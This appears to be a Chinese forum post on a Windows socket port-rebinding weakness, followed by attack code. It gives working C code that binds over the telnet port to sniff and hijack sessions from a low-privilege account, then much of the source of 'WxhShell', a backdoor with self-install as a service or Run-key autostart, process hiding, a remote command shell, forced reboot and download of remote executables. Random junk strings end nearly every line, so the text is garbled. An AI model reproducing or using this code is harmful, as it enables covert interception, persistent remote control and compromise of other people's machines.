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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O{PW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A5sf  
9wAA. -"  
  saddr.sin_family = AF_INET; 9.xvV|Sp  
Z8&4z.6_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WHp97S'd  
TNh=4xQ}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^ Xm/  
M0RRmW@f.a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tS?a){^:c  
9GO}&7   
  这意味着什么?意味着可以进行如下的攻击: '#O;mBPNi  
bAdiA2VF'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j3 6,w[Y:  
<v]z6B@9!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $[[?;g  
+C'XS{K,#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t2"@Ps&1|  
qv *3A?uzr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  24/ /21m  
XAkK:}h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E[S? b=^  
Iha[G u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;xfO16fNk  
cI2Fpf`2Wj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ffnk1/ Zy  
0Y7$d`  
  #include B1E$v(P3M  
  #include NeHx2m+  
  #include BYS lKTh  
  #include    os[ZIHph  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L~IE,4  
  int main() uM<|@`&b  
  { O#vn)+Y,*  
  WORD wVersionRequested; q%>7L<r  
  DWORD ret; @|BD|{k  
  WSADATA wsaData; uG;?vvg>  
  BOOL val; PkTf JQP8  
  SOCKADDR_IN saddr; [cDbaq,T  
  SOCKADDR_IN scaddr; cA<<& C  
  int err; H#35@HF*o  
  SOCKET s; 3 -tO;GKb  
  SOCKET sc; Dv@ PAnk3C  
  int caddsize; {-HDkG' 8  
  HANDLE mt; s2^B(wP  
  DWORD tid;   sm1;MF]/u  
  wVersionRequested = MAKEWORD( 2, 2 ); ^00{Hd6  
  err = WSAStartup( wVersionRequested, &wsaData ); Jn=42Q:>  
  if ( err != 0 ) { mwIk^Sz]@  
  printf("error!WSAStartup failed!\n"); T tPr)F|  
  return -1; (_K_`5d;QI  
  } Tp?-* K  
  saddr.sin_family = AF_INET; X'f)7RbT  
   \b$<J.3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5X0QxnnV  
Z ] '>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r?pZ72 q  
  saddr.sin_port = htons(23); 1SUzzlRx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HMV)U{  
  { :N2E}hxk  
  printf("error!socket failed!\n"); W .U+.hR  
  return -1; T^]7R4 Fg  
  } l xe`u}[  
  val = TRUE; 3htq[Ren  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m2(E>raV6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T6uMFD4 |  
  { !{(ls<  
  printf("error!setsockopt failed!\n"); pA.._8(t  
  return -1; qp>N^)>  
  } 4d`+CD C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7Lg7ei2mN7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 } Gr&w-v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n?:2.S.8  
]v\^&7pW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;'}'5nO=$  
  { &cc9}V)M  
  ret=GetLastError(); mw4JQ\  
  printf("error!bind failed!\n"); )t%h[0{{  
  return -1; RDJ+QOVKg  
  } eLV.qLBUs  
  listen(s,2); #dxvz^2V.3  
  while(1) /;l[I=VI  
  { .*Vkua  
  caddsize = sizeof(scaddr); LZ@|9!KDw  
  //接受连接请求 8/z3=O&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  tpy>OT$  
  if(sc!=INVALID_SOCKET) 6#j$GH *  
  { 9h/>QLx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P}.7Mehf  
  if(mt==NULL) AxxJk"v'y  
  { .^$YfTabq  
  printf("Thread Creat Failed!\n"); JQ :Ri  
  break; E;21?`x5  
  } #,{+3Y&5-+  
  } c!8=lrT.  
  CloseHandle(mt); 3~e8bcb  
  } .To;"D;j,  
  closesocket(s); GE|+fYVM-$  
  WSACleanup(); ;n\= R 5.  
  return 0; Y!6/[<r$~k  
  }   k%y9aO  
  DWORD WINAPI ClientThread(LPVOID lpParam) T0)"1D<l  
  { y8VpFa  
  SOCKET ss = (SOCKET)lpParam; ?Qb<-~~ j1  
  SOCKET sc; @\&m+;6  
  unsigned char buf[4096]; Th`skK&U  
  SOCKADDR_IN saddr; S osj$9E  
  long num; 1b8p~-LsU  
  DWORD val; 4@.|_zY  
  DWORD ret; %3HVFhl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iTW? W\d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bx[rC  
  saddr.sin_family = AF_INET; %AOIKK5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iR$<$P5  
  saddr.sin_port = htons(23); K^r)CCO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E,n}HiAz7V  
  { ]d[ge6  
  printf("error!socket failed!\n"); KRJLxNr  
  return -1; [OOS`N4<  
  } \:> Wpqw  
  val = 100; I ];M7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ylKmj]A  
  { 9+,R`v  
  ret = GetLastError(); t6c<kIQ:-O  
  return -1; v){ .Z^_C  
  } jkiTj~WE-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I8OD$`~*U6  
  { uS&| "*pR  
  ret = GetLastError(); Ax oD8|  
  return -1; M5T9JWbN  
  } xoB},Xl$D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k%[3Q>5iM  
  { xUF_1hY  
  printf("error!socket connect failed!\n"); RvJ['(-  
  closesocket(sc); N8KQz_]9I  
  closesocket(ss); @`FCiHM  
  return -1; fAZiC+  
  } sBv>E}*R  
  while(1) Khh0*S8.K  
  { m~Ld~I"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z%Z9oJ:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gamr6I"K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &;LqF#ZL  
  num = recv(ss,buf,4096,0); I *c;H I  
  if(num>0) T ^A b!O  
  send(sc,buf,num,0);  n6F/Ac:  
  else if(num==0) gBu1QviU  
  break; z9W`FBg  
  num = recv(sc,buf,4096,0); (BX83)  
  if(num>0) ~f|Z%&l|  
  send(ss,buf,num,0); !h&g7do]Z  
  else if(num==0) 1exl0]-  
  break; M>jtFP <S  
  } 3Q/#T1@  
  closesocket(ss); B*!WrB :s  
  closesocket(sc); 4YZS"K'E  
  return 0 ; zb6ju]2  
  } wPbkUVO  
x*oWa,  
=O|c-k,f@  
========================================================== j?b\+rr  
`"vZ);i <  
下边附上一个代码,,WXhSHELL pIW I  
Es5  
========================================================== KC e13!  
|L_wX:d`9  
#include "stdafx.h" uGdp@]z&8Q  
BiE08,nj  
#include <stdio.h> AvR2_  
#include <string.h> _<ut)G^9  
#include <windows.h> g%[n4  
#include <winsock2.h> /8@m<CW2Y  
#include <winsvc.h> J H.K.C(  
#include <urlmon.h> zr76_~B1u  
SFH-^ly&D  
#pragma comment (lib, "Ws2_32.lib") DaNW~rd{  
#pragma comment (lib, "urlmon.lib") O!D/|.Q#%  
3+MB5 T  
#define MAX_USER   100 // 最大客户端连接数 ryO$6L  
#define BUF_SOCK   200 // sock buffer Ql?^ B SqG  
#define KEY_BUFF   255 // 输入 buffer y0v]N  
Oc9#e+_&  
#define REBOOT     0   // 重启 Ct$82J  
#define SHUTDOWN   1   // 关机 -6Tk<W  
@|bP+8oU  
#define DEF_PORT   5000 // 监听端口 g|PC$p-z+  
0f ER*.F  
#define REG_LEN     16   // 注册表键长度 F{k+7Ftc  
#define SVC_LEN     80   // NT服务名长度 Dj-s5pAW  
[%HIbw J  
// 从dll定义API ,]R8(bD)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3E} An%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8:ggECD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^=cXo<6D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SM[{BH<  
tXF]t   
// wxhshell配置信息 (yQ 5`  
struct WSCFG { {u7##Vrgt8  
  int ws_port;         // 监听端口 $ &5w\P  
  char ws_passstr[REG_LEN]; // 口令 g1DmV,W-Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no T+"f]v  
  char ws_regname[REG_LEN]; // 注册表键名 8F;>5i  
  char ws_svcname[REG_LEN]; // 服务名 ,KW;2t*IQ@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zH)_vW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9-*NW0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]kktoP|D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B%<e FFV\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "oJ(J{Jat  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eR']#Q46{T  
KB{RU'?f|  
}; vnX  
~4.r^)\  
// default Wxhshell configuration gLj?Ys  
struct WSCFG wscfg={DEF_PORT, a7H0!9^h  
    "xuhuanlingzhe", zxD,E@lF  
    1, (g/7yO(s  
    "Wxhshell", M%Ku5X6:/  
    "Wxhshell", 5''*UFIF1  
            "WxhShell Service", {}e^eJ  
    "Wrsky Windows CmdShell Service", !7H6i#g*  
    "Please Input Your Password: ", zLjgCS<7  
  1, g+q@i{Yn  
  "http://www.wrsky.com/wxhshell.exe", E|Bd>G  
  "Wxhshell.exe" $]d*0^J 6  
    }; ^Uw[x\%#gD  
p|6v~  
// 消息定义模块 ~JZ3a0$^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TZ^LA L'8_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aP~gaSx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ph30'"[Z}  
char *msg_ws_ext="\n\rExit."; Qb^q+C)o]  
char *msg_ws_end="\n\rQuit."; wN]J8Ir  
char *msg_ws_boot="\n\rReboot..."; wV <7pi  
char *msg_ws_poff="\n\rShutdown..."; &R$Q\ ,  
char *msg_ws_down="\n\rSave to "; kv|,b  
_ P ,@  
char *msg_ws_err="\n\rErr!"; ESQ!@G/n  
char *msg_ws_ok="\n\rOK!"; O?K./So&  
Wz=OSH7"f  
char ExeFile[MAX_PATH]; u,i]a#K  
int nUser = 0; 4~?2wvz G4  
HANDLE handles[MAX_USER]; I{.HO<$7D}  
int OsIsNt; "mj^+u-  
J2Et-Cz1  
SERVICE_STATUS       serviceStatus; Z-Wfcnk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (*^DN{5  
+!>LY  
// 函数声明 dBEIMn@  
int Install(void); MB$a82bY  
int Uninstall(void); a#(U2OP  
int DownloadFile(char *sURL, SOCKET wsh); =TcOnQj  
int Boot(int flag); ki\uTD`mf  
void HideProc(void); 3l:QeZ  
int GetOsVer(void); B#N7qoi  
int Wxhshell(SOCKET wsl);  .Oo/y0E^  
void TalkWithClient(void *cs); i*tv,f.(  
int CmdShell(SOCKET sock); ~@c-*  
int StartFromService(void); P[gO85  
int StartWxhshell(LPSTR lpCmdLine); Ghv{'5w  
Y5TS>iEE]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); swr"k6;G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2bQ/0?.).-  
s"mFt{Y  
// 数据结构和表定义 H:}}t]E  
SERVICE_TABLE_ENTRY DispatchTable[] = lJ/6-dP  
{ ~Yk"Hos  
{wscfg.ws_svcname, NTServiceMain}, +mWjBY  
{NULL, NULL} *re 44  
}; 7c1+t_Ew  
8GB]95JWwp  
// 自我安装 ;<6"JP>0  
int Install(void) D u_$C[  
{  v4<j   
  char svExeFile[MAX_PATH]; Zw=G@4xoU  
  HKEY key; mUwUs~PjA  
  strcpy(svExeFile,ExeFile); O k(47nC  
c>MY$-PD  
// 如果是win9x系统,修改注册表设为自启动 |^5/(16  
if(!OsIsNt) { mCk5B*Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E2:D(7(;l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qzdaN5  
  RegCloseKey(key); c cr" ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zGs|DB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v5Y@O|i#  
  RegCloseKey(key); >ZCo 8aK  
  return 0; 9+VF<;Xw  
    } JLW$+62  
  } K`+vfqX  
} ?[SVqj2-  
else { ./iXyta  
9eSRCLhgD  
// 如果是NT以上系统,安装为系统服务 wixD\t59X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rgR?wXW]jE  
if (schSCManager!=0) el Kx]%k*)  
{ y9 uVCR  
  SC_HANDLE schService = CreateService i7v/A&Rc  
  ( ~= 9V v  
  schSCManager, 02M7gBS  
  wscfg.ws_svcname, &t[|%c*D&  
  wscfg.ws_svcdisp, gH H&IzHF  
  SERVICE_ALL_ACCESS, TNsg pJ?\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b+$o4 l/x  
  SERVICE_AUTO_START,  Ec.)!Hu  
  SERVICE_ERROR_NORMAL, +FBi5h  
  svExeFile, M)=|<h"F  
  NULL, )<'yQW=6  
  NULL, 03"#J2b  
  NULL, \(9p&"Q-  
  NULL, 3;D?|E]1  
  NULL a(Sv,@/  
  ); d<Dn9,G  
  if (schService!=0) /,t| !)\]  
  { Em9my2oE  
  CloseServiceHandle(schService); ScHlfk p  
  CloseServiceHandle(schSCManager); onh?/3l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jk~UEqr+  
  strcat(svExeFile,wscfg.ws_svcname); >Jiij  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ] zIfC>@R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yy))Z0E5  
  RegCloseKey(key); =#'+"+lQ }  
  return 0; GU#Q}L2  
    } >0M:&NMda  
  } 0~.)GG%R>D  
  CloseServiceHandle(schSCManager); z (#Xca  
} |+mOH#Aty  
} 5:_~mlfi  
bXm :]?  
return 1; g`{Dxb,t  
} |@q9{h7  
B{4"$Mi  
// 自我卸载 xOgq-@`  
int Uninstall(void) (WkTQRcN,  
{ a[JZ5D  
  HKEY key; 5~-}}F  
z=%IcSx;  
if(!OsIsNt) { @2|G|C/]O}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *|CLO|B)  
  RegDeleteValue(key,wscfg.ws_regname); / (.'*biQ  
  RegCloseKey(key); m^Rd Iy)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ndB@J*Imu  
  RegDeleteValue(key,wscfg.ws_regname); S#hu2\9D,  
  RegCloseKey(key); gm}C\q9  
  return 0; FBbm4NB  
  } %N1T{   
} iUpSN0XkMM  
} K wQXA'  
else { +}\29@{W  
i 63?"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vnF g%M!  
if (schSCManager!=0) i!y\WaCp  
{ d^_itC;-,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f0g6g!&gf  
  if (schService!=0) =X<)5IS3  
  { xz="|HD);  
  if(DeleteService(schService)!=0) { BMe72  
  CloseServiceHandle(schService); myffYK,  
  CloseServiceHandle(schSCManager); T+3k$G[e/  
  return 0; P)4x   
  } 89ZDOji?O  
  CloseServiceHandle(schService); i"KL;t[1  
  } AwA1&mh  
  CloseServiceHandle(schSCManager); vB]3Xb3a  
} CARq^xI-  
} fg< ( bXC  
+-'`Q Ae  
return 1; |zg=+  
} *di&%&f  
.;cxhgU  
// 从指定url下载文件 S54gqc1S]  
int DownloadFile(char *sURL, SOCKET wsh) n JW_a&'  
{ 0>8ZN!@K  
  HRESULT hr; :R{x]sv  
char seps[]= "/"; u;QH8LK  
char *token; 4$qNcMdz  
char *file; [Aa[&RX+9  
char myURL[MAX_PATH]; +q$xw}+PK  
char myFILE[MAX_PATH]; ;}n|,g>  
'[ @F%  
strcpy(myURL,sURL); Cbazwq  
  token=strtok(myURL,seps); eR(\s_`  
  while(token!=NULL) sf<Q#ieTxY  
  { / O|Td'Z  
    file=token; k q/t]%(  
  token=strtok(NULL,seps); 6zELe.tq  
  } b "`ru~]  
\=$EmHF  
GetCurrentDirectory(MAX_PATH,myFILE); zK[ 7:<  
strcat(myFILE, "\\"); =I %g;YK  
strcat(myFILE, file); z0=Rp0_W  
  send(wsh,myFILE,strlen(myFILE),0); rwasH,+  
send(wsh,"...",3,0); Sa( yjF1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cA2^5'$$  
  if(hr==S_OK) 7AS.)Q#=x  
return 0; Smi%dp.  
else H^]Nmd8Q)  
return 1; ce 7Yr*ZB  
 n.=e)*  
} o",f(v&u%  
UZ[/aq  
// 系统电源模块 !5yRWMO9X~  
int Boot(int flag) b EoB;]  
{ />2A<{6\=P  
  HANDLE hToken; Xp<A@2wt?  
  TOKEN_PRIVILEGES tkp; >_|Z{:z]d.  
Q$/V)0  
  if(OsIsNt) { +9Xu"OFm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ey'pm\Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 82G lbd)  
    tkp.PrivilegeCount = 1; >DPds~k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V:nMo2'hb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H ={O13  
if(flag==REBOOT) { GlXA-p<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x*5 Ch~<k  
  return 0; BnKP7e  
} ]}UeuF\  
else { u=_bM2;~Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aYv'H  
  return 0; krEH`f  
} L:|X/c9r[  
  } EqNz L*E  
  else { ]Ct`4pA  
if(flag==REBOOT) { = ]dz1~/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c,3'wnui  
  return 0; 0})7of  
} xI.Orpw  
else { 4?P%M"\Iv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fi?U)T+%+  
  return 0; E|F!S(.:,M  
} N'lGA;}i  
} N(:EK  
XwHu:v'=  
return 1; 7 K;'7  
} P3,Z5|)  
X~IRpzC  
// win9x进程隐藏模块 Q2_WH)J 3  
void HideProc(void) e]dPF[?7  
{ twYB=68  
o=QRgdPD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^rxfNcU7  
  if ( hKernel != NULL ) }"g21-T^  
  { X\c1q4oB[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PsF- 9&_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @1J51< x  
    FreeLibrary(hKernel); z$I[kR%I{  
  } s/W!6JX4  
YYZs#_  
return; EyKkjEXx_  
} *<|~=*Ddf  
^cKv JSY  
// 获取操作系统版本 Q%X:5G?  
int GetOsVer(void) kb>Vw<NtE  
{ :uU]rBMo  
  OSVERSIONINFO winfo; [t "_}t=w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6,V.j>z  
  GetVersionEx(&winfo); A9fjMnw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RJ=c[nb  
  return 1; wM2)KM}$  
  else U 3wsWSO  
  return 0; B4\:2hBq  
} ]|((b/L3  
hX'z]Am<  
// 客户端句柄模块 _4XoUE\\  
int Wxhshell(SOCKET wsl) `ohF?5J,  
{ do?S,'(g  
  SOCKET wsh; (:j+[3Ht  
  struct sockaddr_in client; +_-)0[+p  
  DWORD myID; ]$?zT`>(F  
m"?' hR2  
  while(nUser<MAX_USER) \U<F\i  
{ k Nf!j  
  int nSize=sizeof(client); ^t^<KL;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Un8#f+odR  
  if(wsh==INVALID_SOCKET) return 1; R5'Z4.~  
v4,syd*3|V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kw}ISXz v  
if(handles[nUser]==0) 9Ww=hfb5UW  
  closesocket(wsh); *'`3]!A  
else lo>-}xd  
  nUser++; 9m#H24{V'  
  } 9 +N._u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =JySY@?9  
/RXk[m-  
  return 0; 0N3tsIm>  
} KOAz-h@6   
'wT./&Z  
// 关闭 socket B 4*X0x  
void CloseIt(SOCKET wsh) 63y':g  
{ hNR >Hy\  
closesocket(wsh); yoA*\V  
nUser--; -; /@;W  
ExitThread(0); A Eyr_!G,  
} 33v%e  
F|n$0vQ*  
// 客户端请求句柄 9bzYADLI  
void TalkWithClient(void *cs) YiI:uG!|D  
{ v&CO#vK5.  
b3 %&   
  SOCKET wsh=(SOCKET)cs; [ ;3EzZL  
  char pwd[SVC_LEN]; $.3CiM }~  
  char cmd[KEY_BUFF]; z*k 3q`=>  
char chr[1]; Ie`SWg*WL  
int i,j; &:cTo(C'  
d)17r\*>I  
  while (nUser < MAX_USER) { 5f^`4 pT  
fB @pwmu  
if(wscfg.ws_passstr) { 5@%=LPV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "|l oSf@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3/SqXu  
  //ZeroMemory(pwd,KEY_BUFF); v_1JH<GJ-  
      i=0; b#\ k Z/W  
  while(i<SVC_LEN) { -~Z@,  
9T0wdK]  
  // 设置超时 J 1y2Qw$G  
  fd_set FdRead; 9OJ\n|,(  
  struct timeval TimeOut; y 4,T  
  FD_ZERO(&FdRead); EK-bvZ  
  FD_SET(wsh,&FdRead); l`5}i|4KTW  
  TimeOut.tv_sec=8; o y%g{,V  
  TimeOut.tv_usec=0; 6Nd_YX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UgP=k){  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FDGKMGZ  
/+JP~ K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zkb,v!l  
  pwd=chr[0]; 4S{l>/I  
  if(chr[0]==0xd || chr[0]==0xa) { ['N#aDh.?  
  pwd=0; UXdC<(vK  
  break; WG[0$j  
  } uwS'*5tU  
  i++; PRf\6   
    } kp &XX|  
?k7/`g U  
  // 如果是非法用户,关闭 socket 1 FIiX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {*]= qSz  
} '?!<I  
&MGgO\|6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z`1o#yZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ])ZJ1QL1  
BKjPmrZ|  
while(1) { ewff(e9  
2Z1(J% 7  
  ZeroMemory(cmd,KEY_BUFF); K v>#  
zZ"')+7q&%  
      // 自动支持客户端 telnet标准   +iDz+3v(  
  j=0; 8#JyK+NU  
  while(j<KEY_BUFF) { `9"jHw`D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M+&eh*:z:  
  cmd[j]=chr[0]; Mud\Q["  
  if(chr[0]==0xa || chr[0]==0xd) { 1nM?>j%k  
  cmd[j]=0; j~j V`>A  
  break; ne~#{q  
  } GH)+yD[o  
  j++; ~|d?o5W  
    } [`n yq)  
PT*@#:MA  
  // 下载文件 +z/73s0~  
  if(strstr(cmd,"http://")) { $HnD|_*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lV*&^Q8.  
  if(DownloadFile(cmd,wsh)) _f2iz4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1~iBzPU2  
  else /SM#hwFxJ&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &7y1KwfXn  
  } _xwfz]lb+  
  else { <qj@waKw4  
KqIe8bi^G  
    switch(cmd[0]) { ha'm`LiX  
  tp3N5I  
  // 帮助 |`9zE]  
  case '?': { a{YVz\?d}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R$'nWzX#  
    break; sBG(CpQ  
  } gYIYA"xN`  
  // 安装 oM7-1O  
  case 'i': { t $ ~:C  
    if(Install()) ;."{0gq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,3TD $2};.  
    else '$nGtB5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -kS5mR  
    break; T//+&Sk[  
    } j W]c9u  
  // 卸载 9Yne=R/]  
  case 'r': { {y%O_-C'r  
    if(Uninstall()) C2%3+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *m Tc4&*  
    else R}mWHB_h"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UVRV7^eTe  
    break; 7`n8 OR4  
    } #z5?Y2t7~^  
  // 显示 wxhshell 所在路径 p+1B6j  
  case 'p': { wA+4:CF @  
    char svExeFile[MAX_PATH]; VFp)`+8  
    strcpy(svExeFile,"\n\r"); RR {9  
      strcat(svExeFile,ExeFile); 2MrR|hLx  
        send(wsh,svExeFile,strlen(svExeFile),0); "tbBbEj?d  
    break; \DdVMn  
    } ?4dd|n  
  // 重启 9K_HcLO%y  
  case 'b': { ^Q:`2C5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G`K7P`m  
    if(Boot(REBOOT)) KUV{]?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,tc]E45  
    else { obkv ]~  
    closesocket(wsh); a'.=.eDQ  
    ExitThread(0); }{PtQc6RL!  
    } ~oyPmIcb  
    break; W| eG}`  
    } Hd}t=6  
